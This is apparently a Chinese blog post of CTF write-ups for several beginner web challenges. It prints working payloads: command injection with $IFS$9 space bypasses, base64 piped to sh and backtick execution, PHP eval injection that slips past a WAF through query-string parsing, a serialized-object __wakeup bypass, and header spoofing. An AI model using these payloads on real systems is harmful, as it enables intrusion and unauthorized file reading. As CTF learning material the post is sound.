2020-11-28
[ACTF2020 新生赛]Exec
打开直接ping,一般所在目录没有flag,那就在根目录。
![v2-fb7914d2c49becd69db5a55f897b0af5_b.jpg](https://img-blog.csdnimg.cn/img_convert/5b90edf5354e5418cf0a3828ec0ecc3c.png)
看到flag,直接cat ,
![v2-d1695e5494961ee51891fe50797d41a3_b.jpg](https://img-blog.csdnimg.cn/img_convert/3e5f49320f707e04992d300bd586d13c.png)
![v2-215c643c706097f7260ca483eaf98206_b.jpg](https://img-blog.csdnimg.cn/img_convert/a810b19f7c1819cd94e3adf7f59d0a51.png)
[GXYCTF2019]Ping Ping Ping
打开页面,直接ping,然后ls,。发现flag.php
![v2-0995cbcfd7e3a29b7b8d696b8cd8a1ec_b.jpg](https://img-blog.csdnimg.cn/img_convert/04e57e0947ab19b5382f49d43978a0e9.png)
cat flag.php读取 出现错误。空格被bang
![v2-f17991f5da9a8a5de78085a12a577b3b_b.jpg](https://img-blog.csdnimg.cn/img_convert/d372c9cc32cfcce7c2bbf163fdfcc981.png)
绕过空格方法有很多,一个个试都可以
$IFS$9 <> , %09 ${IFS} %20 <
读到首页源码
![v2-8b48fb8201ca4441d050185770a6c25b_b.jpg](https://img-blog.csdnimg.cn/img_convert/62b4cdf39afc592bf50f459240096826.png)
被禁了bash ,但还有sh 啊。因为过滤空格,所以使用$IFS$9替代。
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
![v2-5238587268e1627934a2e8aed253be12_b.jpg](https://img-blog.csdnimg.cn/img_convert/7f3400caf7d4497d3311a082aa41b1d3.png)
其他解法,看到` 没有被禁用,直接可以想到内联执行。
在这里内联执行就是将 ls的输出转为输入。
?ip=127.0.0.1;cat$IFS$9`ls`
![v2-030fb13e63e8654338b8fde55b0e74d5_b.jpg](https://img-blog.csdnimg.cn/img_convert/00766ea482b9d13190084fad5dad0a62.png)
[RoarCTF 2019]Easy Calc
打开页面,直接查看源代码,虚假的过程就不看了。
![v2-1d36b393bd2cecc0ac86cb07d40964b4_b.jpg](https://img-blog.csdnimg.cn/img_convert/3eaabdaa643b51da3c79e779a37bd49f.png)
说自己有waf,下面还有一个链接,, calc.php 直接打开。
![v2-bc56511412b0bacb58e73859f692027a_b.jpg](https://img-blog.csdnimg.cn/img_convert/3e5eaeb6b61b1b940baec560d68521c1.png)
看到代码,,get[‘num’] 一个黑名单。 但是这不是waf。。这里面没有过滤字母
![v2-c8f26b6d6512194ee88c26c00de4e845_b.jpg](https://img-blog.csdnimg.cn/img_convert/71fd4dd251d4e8dc4bd5c4ffd31d67a3.png)
eval直接执行,当我们输入php代码,会直接执行,如果没有php代码,会原样输出
![v2-c741502afe8e7a5218988689cfb273e6_b.jpg](https://img-blog.csdnimg.cn/img_convert/ee1cf863a40048755cc0c5f94dc77d17.png)
输入php代码报错。输入字母报错。
![v2-4411f9aa4cb8cf077c1bf29ca7df3d6e_b.jpg](https://img-blog.csdnimg.cn/img_convert/ecd233f2086a6eda5f058c699d935ff0.png)
经过查看别人的writeup之后,属实学到了。
PHP的字符串解析特性
我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => "bar")。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,原文链接
所以我们构造paylaod:
? num=phpinfo() 成功
![v2-a90d7a27fe80949444704a0e3e384a6c_b.jpg](https://img-blog.csdnimg.cn/img_convert/f9d24ee4fb463efd9531d3fd8519595e.png)
查看flag,就要知道flag在哪,我们列目录。(不是ls) ,eval执行php命令,所以
因为”/” 在黑名单,所以我们用ascii码。
?%20num=1;var_dump(scandir(chr(47)))
![v2-90d74800804fb22b08b9963f87d1ba42_b.jpg](https://img-blog.csdnimg.cn/img_convert/5ccf1f04d4505e6a2ad1b7af7996e41c.png)
?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
![v2-ea22f5300df760a5434bb2038d7aa341_b.jpg](https://img-blog.csdnimg.cn/img_convert/b9b772d21566637ab63990a58d9f4c03.png)
[极客大挑战 2019]Knife
打开页面,提示菜刀。下面还有一句话的密码。直接连接,然后flag就在根目录。
![v2-ec601595493a2f3088e414cdd9424b20_b.jpg](https://img-blog.csdnimg.cn/img_convert/8da50b3fc796b97d5776f4dd32461d80.png)
![v2-498223af780c470c927616b4f88d7065_b.jpg](https://img-blog.csdnimg.cn/img_convert/eee3a1de3e3d5f16bf3784f47fbc3047.png)
不过遇到这样子的我一般都是手动操作,
![v2-0498c985193c5ae4c66d3677c8d339bd_b.jpg](https://img-blog.csdnimg.cn/img_convert/aa9bb0511740c9f57aaade41ed7a3647.png)
![v2-96c2ea44ab45220e103b334320ba567f_b.jpg](https://img-blog.csdnimg.cn/img_convert/0d8f370342f185919ab2e06c18608d68.png)
![v2-980dc229f45daf71bf57c45c0fc89837_b.jpg](https://img-blog.csdnimg.cn/img_convert/766b93c96f489a01f8cd31d3152ed7e9.png)
![v2-5d2d610437a1b78ff29913f6b600b19a_b.jpg](https://img-blog.csdnimg.cn/img_convert/5ad93eb2be943142480769b10ac05aac.png)
[极客大挑战 2019]PHP
有备份网站,扫描,得到www.zip
![v2-3f6ab142744200f268dd17843ca0507a_b.jpg](https://img-blog.csdnimg.cn/img_convert/bd573ad2a4856e0bc611a5ed2c508575.png)
打开index.php
![v2-bf038882a0443fbfff15d747f307b106_b.jpg](https://img-blog.csdnimg.cn/img_convert/dbba17ffea1d49031d161ddb301b2a2f.png)
继续看class.php
![v2-78c93f724c0d0dfd8e2aa2354819c349_b.jpg](https://img-blog.csdnimg.cn/img_convert/d9488cc5e8ad640fe5efbd78fb8efbea.png)
需要username =admin ,password =100 .输出flag。
再看class.php中,我们传入的值会被反序列化,那就是我们需要先序列化。
构造序列化代码。
![v2-b88992cb926431fa4f6784cc179439fe_b.jpg](https://img-blog.csdnimg.cn/img_convert/c7e15204ddd8568202fa2bb289abd545.png)
![v2-55ac9c3962d8203c322cdd4cae015221_b.jpg](https://img-blog.csdnimg.cn/img_convert/eb57a4c09d36208cf565d5f26d268c38.png)
虽然序列化了,,但是wakeup优先执行,会将username改为guest。
绕过方法就是
在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
所以我们只需要修改第一个Name后面的2 ,改成2以上的数字就行了
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
然后GET传参?select= 得到flag
![v2-37f7592d02720a60a772d4c12b19eb9b_b.jpg](https://img-blog.csdnimg.cn/img_convert/c05d371b184f832a634648d7d060c20a.png)
[极客大挑战 2019]Http
考察http的基本文件头,Referer ,X-Forwarded-For,User-Agents
打开网站,查看源代码,发现链接。打开。
![v2-816a326db6891bed661aef381d8fbae5_b.jpg](https://img-blog.csdnimg.cn/img_convert/b72e17fa735d7ed6368e68b30a40f0db.png)
看到这个,直接post发包
Referer: https://www.Sycsecret.com
![v2-6fe98824ac7d21a226d57b4eb12005d4_b.jpg](https://img-blog.csdnimg.cn/img_convert/62979cc09bb33db202203a24825a45de.png)
修改user-agents:
![v2-a671dc6a113ad098a24c41b4619b36c8_b.jpg](https://img-blog.csdnimg.cn/img_convert/713b099762aa0134dbd69e1d5de59fb3.png)
修改X-Forwarded-For:127.0.0.1
![v2-be88b8da8fb09fc1475ca22f86e07eb4_b.jpg](https://img-blog.csdnimg.cn/img_convert/2955f7fd0e3a1550afbf1a21e8657897.png)
得到flag
![v2-d3c4dcf6a1bff636d3117b70fa0fd228_b.jpg](https://img-blog.csdnimg.cn/img_convert/82e423b8dd4cd217a3a4f8fc464a49eb.png)